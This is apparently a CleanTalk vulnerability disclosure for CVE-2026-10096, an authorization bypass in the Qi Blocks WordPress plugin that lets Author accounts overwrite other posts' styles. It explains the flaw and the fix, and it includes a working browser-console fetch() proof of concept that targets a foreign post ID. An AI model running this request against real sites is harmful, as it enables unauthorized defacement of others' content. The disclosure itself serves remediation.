CVE-2026-10096 – Qi Blocks – Author+ IDOR – POC

CVE-2026-10096 affects Qi Blocks through version 1.4.9 and allows authenticated Author+ users to overwrite stored styles for posts they cannot edit through the qi-blocks/v1/update-styles REST route. The endpoint trusts the supplied page_id after checking only edit_posts and publish_posts, so a user can target another author’s post. Reserved template and widget values broaden the impact to shared site surfaces, enabling persistent frontend defacement, hidden content, and degraded page usability. The issue is fixed in version 1.5.0.

CVE	CVE-2026-10096
Plugin Version	Qi Blocks <= 1.4.9, fixed in 1.5.0
All Time	955 206
Active installations	60 000+
Publicly Published	June 30, 2026
Last Updated	July 1, 2026
Researcher	Dmitrii Ignatyev
CWE	CWE-639 – Authorization Bypass Through User-Controlled Key
PoC	Yes
Exploit	No
Reference	https://www.cve.org/CVERecord?id=CVE-2026-10096 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/qi-blocks/qi-blocks-149-insecure-direct-object-reference-to-authenticated-author-arbitrary-style-modification-via-page-id-parameter
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

Get Plugin Security Certificate

PSC by Cleantalk

Timeline

April 1, 2026	Plugin testing and vulnerability detection in Qi Blocks 1.4.9 were completed.
April 1, 2026	The vulnerability was reported with the PoC, technical description, and recommendations for remediation.
June 30, 2026	Wordfence publicly published the advisory for CVE-2026-10096.
July 1, 2026	The CVE-2026-10096 record was published in the CVE Program registry.

Discovery of the Vulnerability

The vulnerable route is registered in inc/admin/global-styles/class-qi-blocks-framework-global-styles.php. Its permission_callback accepts any logged-in user who has both edit_posts and publish_posts. The built-in Author role has these generic capabilities, but they do not grant permission to edit every post on the site.

update_global_styles_callback() reads page_id from the JSON body and uses it as a key in the site-wide qi_blocks_global_styles option. A numeric value selects a post entry, while template and widget select shared style collections. Version 1.4.9 never calls current_user_can( 'edit_post', $post_id ) for a numeric target and does not require edit_theme_options for the shared targets. The version 1.5.0 implementation adds these object-level checks through user_can_manage_global_styles_target().

Understanding of Insecure Direct Object Reference attacks

An Insecure Direct Object Reference occurs when an application accepts an object identifier from the requester and acts on that object without verifying access to the selected record. In this case, page_id is the user-controlled key. A valid REST nonce proves that the request came from the current WordPress session, but it does not prove that the user may edit the target post or manage site-wide styles.

The authorization failure is classified as CWE-639 – Authorization Bypass Through User-Controlled Key. An Author can normally publish and edit their own posts, yet the route lets the same account write style data under another post ID. The reserved targets increase the reach because a single unauthorized update can affect templates or widgets used across several pages.

Exploiting the Insecure Direct Object Reference Vulnerability

The following non-destructive PoC uses an Author account on an isolated test site. Post 942 must belong to a different user. The Author opens the editor for a post they own so that qiBlocksEditor.vars.restNonce is available, then runs the request in the browser console.

POC:

POC:
1. Install and activate Qi Blocks 1.4.9 on an isolated WordPress test site.
2. Create two Author test accounts and publish post 942 with the first account.
3. Sign in as the second Author and open the block editor for a post owned by that account.
4. Open the browser console and run the following request.

fetch('/wordpress/index.php?rest_route=/qi-blocks/v1/update-styles', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-WP-Nonce': qiBlocksEditor.vars.restNonce
},
body: JSON.stringify({
page_id: '942',
options: [
{
key: 'foreign-style',
fonts: { family: [], weight: [], style: [] },
values: [
{
selector: 'body',
styles: 'opacity:0.5'
}
]
}
]
})
}).then(r => r.json()).then(console.log)

5. Open post 942 and confirm that the stored Qi Blocks style was changed even though the second Author does not own that post.

____

A successful response and the reduced page opacity demonstrate that the route accepts a foreign post ID. The same missing target check also reaches the reserved template and widget collections, which can turn a post-level authorization bypass into persistent frontend disruption across several pages.

Recommendations for Improved Security

Site owners should update Qi Blocks to 1.5.0 or a later patched release. The current WordPress.org release is newer than the first fixed version. Administrators who allowed untrusted users to publish posts should review important page, template, and widget styles for unexpected changes.

Developers should validate every numeric target with current_user_can( 'edit_post', $post_id ) and require edit_theme_options for shared template or widget styles. Accept only positive numeric post IDs or a strict allowlist of reserved values. Nonce verification, input sanitization, and CSS filtering should remain in place, but none of them replaces object-level authorization.

Enforcing object-level authorization for CVE-2026-10096 keeps an Author account from changing another user’s post styles or shared Qi Blocks presentation data. Applying the patched release closes this reported path.

#WordPressSecurity #IDOR #AccessControl #QiBlocks #WebsiteSafety #StayProtected

Use CleanTalk solutions to improve the security of your website